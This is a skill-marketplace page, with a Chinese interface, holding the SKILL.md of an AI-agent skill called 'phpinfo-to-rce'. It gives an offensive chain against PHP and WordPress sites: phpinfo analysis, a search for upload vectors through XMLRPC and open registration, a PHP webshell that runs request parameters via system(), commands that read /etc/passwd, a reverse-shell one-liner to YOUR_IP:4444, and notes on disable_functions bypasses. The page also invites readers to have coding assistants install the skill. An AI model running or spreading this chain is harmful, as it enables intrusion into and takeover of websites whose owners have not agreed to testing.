用 Codex 或 Claude 帮你安装 复制这段 Prompt，粘贴到 Codex、Claude 或其他助手里，让它检查 Skill 页面并帮你完成安装。
直接命令不会经过审查 Prompt；运行前请先检查来源。
npx skills add https://github.com/uphiago/recon-skills --skill phpinfo-to-rce命令会保持在同一行。复制前请横向滚动并检查完整内容。
想先保存到本地？可下载 SkillsMP 当前能够提供的文件。
Full WSTG-aligned web application pentest — 12-phase methodology from information gathering through reporting, with concrete commands, expected outputs, pitfalls, and verification per phase.
Attack SAML SSO via XSW, signature strip, metadata extract.
Use when two or more verified findings may combine into a higher-impact authorized attack path.
基于 SOC 职业分类
正在显示 SKILL.md
| name | phpinfo-to-rce |
| description | Chain phpinfo to RCE via exec check when info.php exposed. |
| version | 1.1.0 |
| revision_date | "2026-07-25T00:00:00.000Z" |
| license | MIT |
| platforms | ["linux"] |
| compatibility | Requires curl, nmap, python3, masscan, subfinder, httpx, nuclei |
| tags | ["recon","phpinfo","RCE","wordpress","chain"] |
| category | recon |
| related_skills | ["source-leak-hunt","xmlrpc-exploitation","wordpress-full-compromise","cross-attack-chains","error-log-mining"] |
Evaluate exposed phpinfo() pages for configuration disclosure and the
prerequisites of a separate execution path. Enabled process functions do not
create RCE without an authorized code or file-execution primitive.
source-leak-hunt flags a target with info.php or phpinfo.php exposed.terminal with curl.# Step 1: Fetch phpinfo and check for exec restrictions
curl --max-time 30 --connect-timeout 10 -sk "https://TARGET/info.php" | grep -i "disable_functions"
# Step 2: If ONLY pcntl_* is disabled, all exec functions are available
# Step 3: Find upload vector and deliver webshell
| Check | What to Look For | Implication |
|---|---|---|
disable_functions | Only pcntl_alarm,pcntl_fork,... | All exec available — RCE possible |
disable_functions | exec,system,passthru,shell_exec,popen,proc_open | Exec blocked — need bypass |
allow_url_fopen | On | Remote file inclusion possible |
allow_url_include | On | RFI directly possible |
open_basedir | Not set or /var/www:/tmp | Wide file access |
display_errors | On | Error-based information disclosure |
DOCUMENT_ROOT |
/var/www/html or custom |
| Know where webshell lands |
SERVER_ADMIN | Email address | Contact for social engineering |
_SERVER["REMOTE_ADDR"] | Shows YOUR IP (if behind proxy) | WAF/CDN detection |
| PHP version | < 7.4 | EOL — more unpatched CVEs |
TARGET="$1"
# Full phpinfo dump
curl -sk --max-time 15 --connect-timeout 10 "https://$TARGET/info.php" > /tmp/phpinfo_$TARGET.html
curl -sk --max-time 15 --connect-timeout 10 "https://$TARGET/phpinfo.php" >> /tmp/phpinfo_$TARGET.html 2>/dev/null
# Check if phpinfo is real (not SPA catch-all)
if ! grep -q "PHP Version" /tmp/phpinfo_$TARGET.html; then
echo "[-] Not a real phpinfo page"
exit 1
fi
echo "[+] PHPInfo confirmed on $TARGET"
echo ""
# Extract critical directives
echo "=== PHP Version ==="
grep -Eo 'PHP Version <.*?>[^<]+' /tmp/phpinfo_$TARGET.html | head -1
echo ""
echo "=== disable_functions ==="
DISABLED=$(grep -A1 'disable_functions' /tmp/phpinfo_$TARGET.html | grep -Eo '>(local|master).*?<' | sed 's/[<>]//g')
echo "$DISABLED"
echo ""
echo "=== Exec Functions Available? ==="
if echo "$DISABLED" | grep -qE 'exec|system|passthru|shell_exec|popen|proc_open'; then
echo "[-] Exec functions ARE disabled — RCE blocked via standard methods"
else
echo "[+] Exec functions NOT disabled — RCE POSSIBLE!"
echo "[+] Available: exec, system, passthru, shell_exec, popen, proc_open"
fi
echo ""
echo "=== Other Critical Settings ==="
grep -E '(allow_url_fopen|allow_url_include|open_basedir|display_errors|DOCUMENT_ROOT|SERVER_ADMIN|upload_max_filesize|post_max_size)' /tmp/phpinfo_$TARGET.html | \
sed 's/<[^>]*>//g' | sed 's/\s\+/ /g' | sort -u
# Decision matrix:
# 1. Exec functions NOT disabled → RCE possible with ANY upload vector
# 2. Exec functions disabled → Check for bypass techniques:
# - LD_PRELOAD bypass (if putenv() not disabled)
# - FFI bypass (PHP 7.4+ with FFI enabled)
# - proc_open bypass (sometimes missed in disable_functions)
# - mail() + sendmail_path abuse
# Quick check for LD_PRELOAD bypass viability
if ! echo "$DISABLED" | grep -q "putenv"; then
echo "[+] putenv() available — LD_PRELOAD bypass possible"
fi
# Quick check for FFI bypass
if grep -q "FFI" /tmp/phpinfo_$TARGET.html && ! echo "$DISABLED" | grep -q "FFI"; then
echo "[+] FFI enabled — FFI bypass possible (PHP 7.4+)"
fi
TARGET="$1"
echo "[*] Searching for upload vectors on $TARGET..."
# Check WordPress open registration
REG=$(curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/wp-login.php?action=register" | grep -o 'user_login')
[[ -n "$REG" ]] && echo "[+] Open WP registration — can upload via XMLRPC wp.uploadFile"
# Check XMLRPC with wp.uploadFile
XMLRPC_METHODS=$(curl --max-time 30 --connect-timeout 10 -sk -X POST "https://$TARGET/xmlrpc.php" \
-H "Content-Type: text/xml" \
-d '<?xml version="1.0"?><methodCall><methodName>system.listMethods</methodName></methodCall>' \
| grep -o 'wp.uploadFile')
[[ -n "$XMLRPC_METHODS" ]] && echo "[+] XMLRPC wp.uploadFile available"
# Check for contact form file upload
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/contact" | grep -iE 'type=.file|enctype=.multipart' && \
echo "[+] Contact form with file upload"
# Check Elementor upload (if plugin present)
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/wp-json/elementor/v1/globals" | grep -q "elementor" && \
echo "[+] Elementor detected — check for upload endpoints"
# Check Gravity Forms
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/wp-json/gf/v2/forms" | grep -q "id" && \
echo "[+] Gravity Forms detected — check for file upload fields"
If upload vector found (e.g., XMLRPC + open registration):
TARGET="$1"
# Generate simple PHP webshell
cat > /tmp/ws.php << 'EOF'
<?php
$c = $_REQUEST['c'];
if($c) { system($c); } else { echo "<!-- OK -->"; }
?>
EOF
# If XMLRPC wp.uploadFile is available (see xmlrpc-exploitation skill for full flow):
# 1. Register user via open registration
# 2. Upload webshell via XMLRPC
# 3. Access at /wp-content/uploads/YYYY/MM/ws.php?c=id
echo "[*] Webshell ready at /tmp/ws.php"
echo "[*] Use xmlrpc-exploitation skill for the full upload chain"
echo "[*] Or adapt to the specific upload vector found above"
TARGET="$1"
WEBSHELL_URL="$2" # e.g., https://TARGET/wp-content/uploads/2026/06/ws.php
# Test command execution
curl --max-time 30 --connect-timeout 10 -sk "$WEBSHELL_URL?c=id"
curl --max-time 30 --connect-timeout 10 -sk "$WEBSHELL_URL?c=uname -a"
curl --max-time 30 --connect-timeout 10 -sk "$WEBSHELL_URL?c=cat /etc/passwd | head -5"
# Establish reverse shell (if outbound connections allowed)
# On your listener: nc -lvnp 4444
# curl -sk "$WEBSHELL_URL?c=bash -c 'bash -i >%26 /dev/tcp/YOUR_IP/4444 0>%261'"
/test.php, /php_info.php, /info.php?1.FFI::cdef() not in disable_functions./wp-content/uploads/YYYY/MM/. Some hosts change this via UPLOADS constant (check phpinfo).disable_functions analysis MUST confirm at least one exec function is available.id or whoami output proving code execution.